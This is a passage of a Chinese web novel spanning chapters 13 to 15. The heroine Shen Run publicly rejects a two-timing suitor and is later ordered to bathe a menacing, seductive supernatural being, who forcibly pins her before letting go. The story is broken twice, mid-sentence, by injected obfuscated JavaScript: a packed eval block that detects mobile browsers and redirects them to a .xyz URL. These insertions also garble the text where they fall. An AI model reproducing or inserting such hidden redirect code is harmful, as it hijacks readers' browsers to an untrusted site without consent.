他家境不错，又在太阳伞公司上班，当然不可能缺这小两千，但...这钱花在沈润身上，他有点舍不得。 男人心里一向是有杆秤的，说白了，他觉得沈润不值这个价。 他才下完单，手机忽然响了，同组的同事打电话过来：“上个月公司公开招的岗位你还记得吗？听说最近招到人了，还跟咱们一个园区，听说刚来就被陆董亲自带进了保密组，陆董对那人满意的不得了。” 这说的就是照顾蚩双流的保姆岗位，因为这个岗位开的待遇极其诱人，但工作内容又高度保密，所以招聘公告一出，公司内外多少双眼睛都死死盯着这个位置。 许敬文极有兴趣：“哦？见到招来的人了吗？” 他是技术岗，学历在普通人堆里算高的，但在太阳伞公司那是完全不够看，所以在这儿干了三年还属于底层技术人员，年薪才30w，等他三十五岁的时候面临着优化淘汰的危机。 而新招的这个岗位起手就给开了月薪4W的高价，各项福利红包加起来年薪能达到60W，招聘的又是二十出头的年轻人，照这个趋势，那新人三十岁之前年薪包破百万的。 更别说干满一年还能拿到亿万期权和股份，直接掌握生产资料，一跃从普通打工人变成俯视众生的资本家，还是陆董心腹，太阳伞多少高层都没这待遇，真够让人眼红的。 同事：“不知道啊，咱们园区占地那么大，哪能随便就碰见？不过我也挺好奇那个传奇新人长什么样的。” 许敬文故作轻松：“碰不到也没什么，反正跟咱们不是一个部门的。” 他装得不在意，其实心里早打起了算盘，一边暗嫉，一边又筹算着什么时候结交拉拢一下这条珍稀的人脉资源，有了交情，对方以后没准还能提携提携自己。 自从新人入职的消息传开之后，不光是他，不少人都在心里计划着结交一二。 ...... 沈润之前说过一次想去迪士尼，但为了省钱一直舍不得去，许敬文今天还特地给她送了个迪士尼的周边玩偶，还是她最喜欢的ip，可以说是相当用心了。 她端端正正地把玩偶摆放在床头。 她对着玩偶咧嘴走神，都没注意到再次投射而来的视线。 在这个瞬间，他终于窥见了她的欲望。 被爱，被夸赞，被看见，被人坚定地选择。 跟他曾经被迫接受过的，那些令人作呕的欲望不同，她的欲望散发着一股甜润可口的香气。 可口到他有些失控，喉结不受控制地轻轻滑动，舌下本能地分泌出唾液，原本只是摆设的肠胃开始缓慢蠕动起来。 好饿… 眼底最深处的贪婪垂涎一闪而逝。 唯一棘手的是，这欲望不是因他而生，不能被他操控。 14.第 14 章 接下来的几天，许敬文对她更为殷勤，定时发消息问候就不说了，时不时花上二三十帮她点个外卖点杯奶茶送到出租屋，好像俩人真的已经谈上了似的。 不光如此，他每天不管多忙，必定抽出时间跟她分享一下生活日常。 比如喝咖啡的时候，他会拍张照片发过来，并配上文字“要是你也在就好了”，再或者吃到什么好吃的了，他也拍一张照片，“味道不错，下次带你来”。 这样高频率的分享生活，让沈润有一种被人时刻被人在乎的喜悦，她这几天整个人都轻飘飘的。 既然两人已经发展到这个份儿上，她还矫情什么呀？干脆痛快点答应得了。 上班的时候，她先问了一下白淼自己通过实习期的概率，白淼很肯定地说：“不出意外的话，这个岗位非你莫属。” 虽然她也不懂为什么陆阔一定要让一个普通人来照顾蚩双流，但沈润勤快老实，眼里有活儿，每天永远是最早一个到最后一个走的，就连办公室的桶装水她都抢着换。 再说了，照顾蚩双流可以说是个脑袋拴在裤腰带上的活儿，指不定这位祖宗什么时候就发狂杀人了，沈润不干这活儿没准就落他们头上了。 白淼对她印象挺好：“放心，陆董对你很满意，我也会把你这些日子的表现如实汇报的。” 工作的事儿差不多落定，沈润就考虑着给许学长一个答案——她愿意和她在一起。 她选了个合适的日子，先发消息问他最近有没有空，得到肯定答复之后，咬牙定了附近一个人均两百多的餐馆，心疼地团购了五百多的套餐，又把地址发给他——前些天是妇女节，陆董又给她发了1888的红包。 许敬文十分会说漂亮话：“这家餐厅很贵吧？小润有心了，这顿还是我请吧。”当然他说归说，半点没有转账的意思。 沈润这些日子收了他不少小礼物，哪好意思问他要钱转账，她又是死要面子的要强性格，宁可自己吃半个月馒头都不在人前哭穷的。 她心里觉着许学长怪体贴的，但还是立刻回复：“不用，我有工作了，一顿饭还请得起，再说你也帮了我不少，哪好意思让你再掏钱。” 不出意外的话，俩人今晚上就要确立情侣关系了，她就寻思着今晚上把自己也在太阳伞公司工作的事儿告诉他，俩人以后还能一起上班儿。 ——但意外偏偏就出现在了这天。 事后几天，沈润回忆起来都觉得巧合得不可思议。 这个科技园有五个食堂，离他们最近的那个也是最大的，中餐西餐各色糕点都有，基地里工作的都在这家食堂吃饭，但今儿中午白淼非要吃离基地最远的一家轻食馆，还硬拉着沈润一起去。 沈润爱吃肉，但架不住组长热情，俩人骑了将近二十分钟才到了最西边的轻食馆子。 轻食食堂里人不多，只有一些研究员在这里进食，沈润环视了一圈儿，发现许敬文在和关系好的同事一起吃饭闲聊，她一下子咧嘴笑了，上去就要和许敬文打招呼。 她刚绕到后面，就听他那个同事问了句：“...你最近相亲相的怎么样了？” 相亲？学长相亲？ 沈润怔了下，脚步停住。 白淼瞧出点门道，拉着沈润坐到不远的柱子后面。 许敬文完全不似之前在沈润面前那副温柔绅士的样子，仿佛评判一件货物，语气随意：“女方条件还不错，父母跟我爸是同事，女方本人是博士学历，目前在高校工作，各方面都挺好的，综合能够达到八分，就是长相实在差点意思，身材也不行，有点矮有点胖，跟我的外形可不匹配。” 要是这女人的家世背景学历和沈润的脸能结合一下就好了，就得样样完美的女性才能配得上他。 同事好奇：“你是被父母逼着去相亲的吗？” 许敬文表情无奈：“也不算，毕竟我今年已经28，婚姻大事也该提上日程了。” 同事暧昧笑了笑：“你最近不是和你那个美女师妹打得火热吗？上班时间都不忘和对方发消息，怎么？不考虑她吗？” “她？”许敬文嗤得一声笑出来，又忙敛了敛笑意，叹道：“她长得是挺漂亮的，个子也高，但到现在也没个正经工作，听说她被前公司开了之后又是去烧烤店兼职，又是去便利店打工，找个这样的，我父母那关就过不去。” “她学历一般，学的还是伺候人的护理专业，以后来到我的圈子，和我的朋友同事聊什么？聊便利店的兼职打工经验吗？”他一摊手：“没办法，差距太大了，我也不想这样儿。” 同事打趣：“那你还不跟人趁早说清楚？” “急什么，反正我现在还没交往对象，先和她谈谈试试。”为了显得自己不太人渣，许敬文随口瞎扯：“再说她也没吃亏，光是礼物我就给她买了万八千的。” 同事一脸暧昧：“骑驴找马啊？我懂，就是不知道这驴骑起来感觉怎么样？” 许敬文听他说的粗俗，只是干咳了声，但也没纠正，只是笑笑：“别乱说，我还在追她呢，还不知道人家同不同意。” 同事轻捶了他一下：“这还用想？三天拿下。” 许敬文笑了笑，没接话——心里也觉着今晚差不多能拿下了，这还不到一周呢。 想到沈润提出的邀约，他心下不觉有些得意。 俩人说得直白，就连白淼都听出来怎么回事了——沈润想必就是俩人嘴里的学妹。 要说这孩子也怪可怜的，被陆阔忽悠着来伺候蚩双流这种高危怪物就很惨了，好不容易遇到个喜欢的人，还是这种骑驴找马的人渣，她又是外地人，在这儿也没个亲朋，心里指不定多难受呢。 她看了眼低着头的沈润，心里不由得生出几分怜惜，抽出纸巾给她擦眼泪，斟酌着劝慰：“小润，你也别难过，及早认清人渣是好事儿，你...” 她说话间，就见沈润已经抬起了头。 她唇角抿起，脸上却是面无表情的，她礼貌地冲白淼点了下头：“组长，我有点事儿，去去就来。” 白淼就见她站起身，径直走到许敬文面前：“许学长，你之前向我告白，问能不能和我交往，我考虑了一下，咱俩不合适，还是算了吧。” 她声音不低，话音刚落，整个食堂的人齐刷刷看了过来。 许敬文完全没想到她会出现在这里，懵了下，不可置信：“小润，你...” 沈润沉声道：“你说的没错，我家境不好，学历也一般，这些我都认了，但我靠自己挣钱，我光明正大，我条件不好这些事儿我从来没跟你藏着掖着，你心里嫌弃我，要相亲你就好好相亲呗，干嘛一边相亲一边跑来追我？倒是你，遮遮掩掩，看来家庭条件再好，这人品素质也没跟上啊！” 她昂了昂下巴：“还有，你说我图你条件好，说你送我了万八千的礼物，我可是一根毛都没见着，你现在，当场把那些万八千的礼物的票据凭证给我找出来，你有本事找出来，我就十倍赔你。” 人渣这辈子最怕的事儿就是被人拆穿自己是人渣，更别说许敬文这样以高知精英形象示人的两面派了，食堂还有他的领导和直系领导在，许敬文脸上红一阵白一阵的，有些慌张地解释：“小润，你听我说，事情不是这个样子的...” 他想解释，一时间又编造不出合理的理由，眼看着形象崩塌，他干脆转移矛盾点，提出质疑：“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15177707|163752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 科技园有很多保密项目，不准外人入内！你是怎么进来的？你这样已经涉嫌违反法律了！” 违法总比脚踏两只船那点破事儿严重得多。 “你眼睛是用来出气的啊。”沈润指了指胸口佩的黄铜牌子：“我也在这儿上班。” 她？以她的学历怎么可能在太阳伞入职？她凭什么？ 太阳伞公司的员工等级分为P和U两个序列，P4到P10以上是科研技术人员，他如今也不过混到P6，年薪30W，而U是管理序列，一般刚入职的员工都是从U1开始做起，而沈润刚入职，她的等级直接是U3，薪资是他的两倍——他费尽心思才跑到的终点居然还没到人家的起点。 她就是之前陆董亲自招聘的新人，未来要拿亿万股份的那个！！ 仿佛一道惊雷劈下，许敬文人都傻了。 沈润这会儿可不想搭理他了，拉着白淼回了基地，两人随便对付了几口，她的手机就狂震起来，许敬文噼里啪啦开始消息轰炸。 “小润，我相亲是为了应付父母，你才是我最喜欢的人！” “刚才那些话都是我胡说的，你也知道，男人在外要面子，所以我才闲扯了几句，我也没想到你会在那儿。” “小润，你能原谅我吗？” “你在哪个区？我这就过去找你。” 其实被沈润当众呵斥，许敬文还真没那么急赤白脸，毕竟这种风流韵事只是丢点脸，不至于真影响他的事业。 但发现沈润就是那个颇具传奇色彩的新人，他真的急眼了——但凡他今天能管住这张死嘴，以后那亿万股权可就是夫妻俩的共同财产，他也能跟着实现飞升，从中产阶级一跃成为资本阶级。 退一步说，沈润现在是权限极大的管理层，她又那么年轻，堪称前途无量，他把人得罪得这么狠，人家以后要整他还不是张张嘴的事儿？ 许敬文这会儿想上吊的心都有了，他平时也是个擅长装模作样的人，按说不至于在公共场合把话说这么难听，今儿就跟被下了咒似的，控制不住把心里那些阴暗恶意的欲望都说出来了。 更要命的是，沈润还就在这个时候出现在了食堂——让他和亿万期权失之交臂，他都怀疑自己是不是被什么邪神诅咒了！ 许敬文越想越坐不住，正要打电话过去道歉，却发现自己已经被拉黑了。 ...... 初恋以这么惨淡的方式收场，沈润没半点伤心是不可能的——在短暂的几天里，她居然真的相信了，自己被人用心喜爱着。 她下班一回到家，立刻打电话把订好的餐厅退了，直到退款的五百多块钱到账，她郁结的心情才稍稍被抚平。 毕竟是初恋，总得失眠几天意思一下，第二天她是顶着大黑眼圈上班的，没想到就在她心情最emo的时候，职业生涯也遭到了重大挑战—— “今天你要负责给你蚩哥清洁。” 白淼掩饰住嘴角的微微抽搐，尽量淡定地说。 “里里外外都得清洗干净。” 昨天带沈润去西边的餐厅，是蚩双流给她下达的指令，看之后发生的事儿，显然是他有意安排。 白淼还没琢磨出他的真实意图呢，他今儿又下达了一个更诡异的指令。 先是把人家小孩的姻缘搅黄了，这会儿又让人家给他这个万年老怪洗澡，他到底要几把干嘛？ 说真的，在这之前她都不知道蚩双流原来还有‘清洁身体’这个选项，她一直把他视为某种智商超高，对人类充满恶意的邪神，洗澡这事儿和他扯在一起怎么想怎么诡异，更别说还是沈润帮他洗了。 沈润缓缓地吐出了一个字 “啊？” 15.第 15 章 沈润指了指自己的鼻子：“我？我合适吗？要不要换个男同志啊？”她怕白淼以为自己想偷懒，举手解释：“我倒是没什么，就怕侵犯蚩哥隐私。” 白淼摇头：“不行，别人近不了他的身。”她看了看表：“别耽搁了，去吧。” 蚩双流住的地方有浴室，不过那倒不是给他准备的——而是给沈润准备的，她实习期一过就得搬进来住，给她配置的房间各项设施都准备好了，而且她的卧室和浴室没设监控。 白淼重新坐在监控前，沈润先一步进去放热水，她还搬了个小板凳，蚩双流就在门口安安静静地坐着。 但仔细看，他身体微微压低，瞳孔放大，鼻翼极轻地翕动着——好像大型猛兽在做狩猎前的准备。 沈润在监控里叫了他一声儿，他站起身走进了浴室，很有灵性地反手关上门。 既然是具有极高智商的动物，他的所作所为一定有其目的，作为心理学家，白淼下意识地分析起他这两天的种种反常，很快得出一个匪夷所思的结论——他不会想色 诱沈润吧？ 白淼瞳孔地震。 ...但好像也不是没可能。 之前死在蚩双流手里的异能者中的2号，3号和5号，这三个都是被他极具欺骗性的美丽外表迷惑，不受控制地对他生出爱欲色欲。 ——2号最惨，她的异能和控制大脑有关，她来的时候蚩双流的意识并不那么清醒，一天里绝大部分时间都在昏睡，她受到了他的诱惑，帮助他刺激大脑彻底苏醒，但她又不受控制地生出贪念，企图动用异能让他大脑损伤，以达到独占他的目的。 临死前，她挣扎着爬到他脚边儿，卑微地祈求他最后再看自己一眼。 ——但她失去了利用价值，所以这个请求到死也没能实现。 5号是个色鬼不用说，3号则帮他重新修补强化了身体，他曾经是个痴迷人体绘画的画家，进化的能力也和人体有关，就像痴迷大卫雕像一样痴迷着蚩双流，他同样死在了自己的欲望中——唯一不同的是，他是笑着死在蚩双流眼前的，就像在看自己最杰出的作品。 没人能抵抗蚩双流的刻意引诱，他的皮囊，他的能力，完全是为了把人类拖入地狱而生的。 不知道因为什么原因，蚩双流并不能直接对人类出手，但他总有各种各样的方式引诱人类为他堕落沉沦，最终被他奴役毁灭。 虽然不知道原因是什么，但很显然，他打算对沈润出手。 那么多有名有姓的异能者都玩完了，沈润一个普通人，怎么可能抵抗住蚩双流的诱惑？ 有那么一个瞬间，白淼想要开口阻拦。 但别人的命总归不如自己的命。 她眼神挣扎地闪了闪，很快保持了沉默。 ...... 浴室里，蚩双流似有所感，稍稍侧了下头，很快，他唇角又勾出一点略带讽刺的弧度。 沈润之前用过几次浴室，里面什么洗发水沐浴露一应俱全，她试了试水温，觉得合适了，才转向蚩双流：“蚩哥，可以洗了，你解开衣服进浴缸就行。” 她做了个脱衣服的动作，又指了指浴缸。 其实蚩双流并不难伺候，每天也就是照料他吃喝玩乐这些基础工作，他平时也挺配合的，除了不会说话，简直完美。 ——但今天出了点状况，她反复示意了三四次之后，蚩双流还是站在原地一动不动，只是沉默无声地看着他。 只是那双眼睛被水汽浸润，流光溢彩得像一场虚幻的梦，即便是毫无意义的一个眼神，也让人心里生出波澜来。 水汽升腾，他的视线也逐渐湿润粘稠。 沈润迟疑着猜测：“你不方便脱衣服？要我帮你？” 蚩双流没说话，她试探着靠近，帮他解开第一颗扣子，见他没有什么反应，她就大着胆子继续了。 他穿了身亚麻色的宽松衣服，材料舒服透气，款式宽松，外衣底下什么都没穿，随着纽扣一颗颗解开，那身体跟艺术品一样，从皮到骨没有一处不好看的，肌肉走势也流畅，美好又具备实用性。 肌肤也是出奇得细腻谎话，肉眼几乎看不到毛孔，就跟他那张脸一样，漂亮得有点邪性了。 胸腹，手臂，大腿的肌肉线条流畅而优美，有着浓烈的吸引力。 沈润忍不住往他腹肌和人鱼线那里看了一眼，又看了一眼，给他解扣子的手也停了停。 蚩双流仿佛并不介意她的冒犯，甚至鼓励一般俯身靠近她，仔细看，他黑白分明的眼睛里透了点隐约笑意——好像对什么东西志在必得。 随着他的靠近，沈润指尖触到了他的胸腹，她好像忍不住了，咽了咽嗓子。 她迟疑着开口：“蚩哥...”她一脸羡慕：“你这肌肉怎么练的啊？什么时候能教教我？” 她一直有运动的习惯，每天早起她还打一段八段锦和太极呢，肌肉都没有蚩双流这么好看，她平时也没见蚩双流怎么运动啊，怎么肌肉就练的那么好呢？ 想到这儿，她有点酸溜溜的：“蚩哥，你是不是偷偷吃蛋白粉了？” 蚩双流：“...” 几乎是瞬间，他阴森森地看了沈润一眼，也没脱掉裤子，一抬腿就跨进了浴缸。 “诶，裤子——”她在后面喊了句，他就跟没听见一样，径直坐进了水里。 沈润自己洗澡就是速战速决类型，不到二十分钟，她就帮蚩双流擦了背洗了头发，直起身子要拿东西。 狩猎者被猎物消磨掉了耐心，蚩双流似乎厌倦了被动的等待，他握住了她的手腕，他第一次展露了他的控制欲，强硬地，不容置疑地将她按在了利爪之下。 被人控制，沈润第一反应就是甩开他的手，平时惊人的怪力却在蚩双流面前失去了作用，她就像玩偶一样，被他随意地拉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15185338|163752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扯过去，左臂和半边儿肩膀都湿透了。 她趴在浴缸边缘，蚩双流单手就按住了她，极有侵略性地俯身向她靠近。 正常情况下，人类在动作的时候，眼球很难保持固定不转，他的眼睛却牢牢地锁在了她的身上，如同无形的牢笼。 因为吃惊，沈润本能地微张了下嘴巴，露出内里的齿列和若隐若现的舌尖。 他立刻想到了之前被她咬住手指的感觉，想到了留在指尖的牙印。 他再次压低身体想要细看，沈润却察觉到他视线的迁移，紧紧地闭上了嘴。 她甚至低下头，那样柔软的唇瞬间消失在他的视线中。 这让他有些不悦。 瞬息间，她感觉后脑发紧，一只手穿入她的发间，扯住她的头发，稍稍用力，让她被迫抬起了头。 与他可怕力道截然相反的是，他唇角微微勾起，露出一个温柔的，带有安抚性质的笑容，让人不由自主地想要依靠他。 恐吓与安抚，惊惧与依赖。 只要他愿意，他现在对她做什么都可以。 人类只是他手里的待宰羔羊。 之前的每一次，他都是引诱着，蛊惑着人类主动踏入陷阱，随便一个动作一个眼神就将他人煽动得浮想联翩，他玩味地，轻蔑地，不屑地旁观，在榨干他们的利用价值之后，他甚至吝啬施舍一个眼神。 但她是不一样的，她太迟钝了，普通的引导毫无作用，他不得不以各种方式被迫主动。 比起引诱她，强迫她似乎更有效。 她的震惊不安让蚩双流久违感到一丝兴奋，这种强烈的刺激好像一股电流，从他的脊柱一路向上攀升，和脑里的念头连通。 他笑的越来越温暖迷人，手上的力道却不断加重，推着她的后脑向他靠近。 很快，两人鼻尖贴在了一起。 微凉的玉质触感终于唤起了沈润的理智，她怪叫了声，剧烈挣扎起来：“妈呀，你要干嘛？！” ‘哗啦啦’，浴缸里的水洒了一地，蚩双流被兴奋和愉悦不断刺激的神经元也终于暂停了一下，他的阴险狡诈终于得以回归。 他刚才在干什么？他居然想要和一个人类亲密接触，还是以强迫的手段？ 这人还是蚩氏的后人。 明明想要引诱她，却反而被她引诱了？ 是因为他的身体完全是按照人类捏造的，所以也不可避免地患上了人类的毛病？ 他猛地松开了手，沈润踉踉跄跄后退几步，一屁股跌在瓷砖地上，她难得有点冒火：“你咋了你？！” 蚩双流却没给她说话的机会，直接把她扔了出去。 “蚩哥...” ‘砰’一声，浴室门重重关上，地板都跟着颤动了几下。 “...我还没给你搓澡。” 完全没搞清楚状况的沈润，一脸茫然地喃喃道。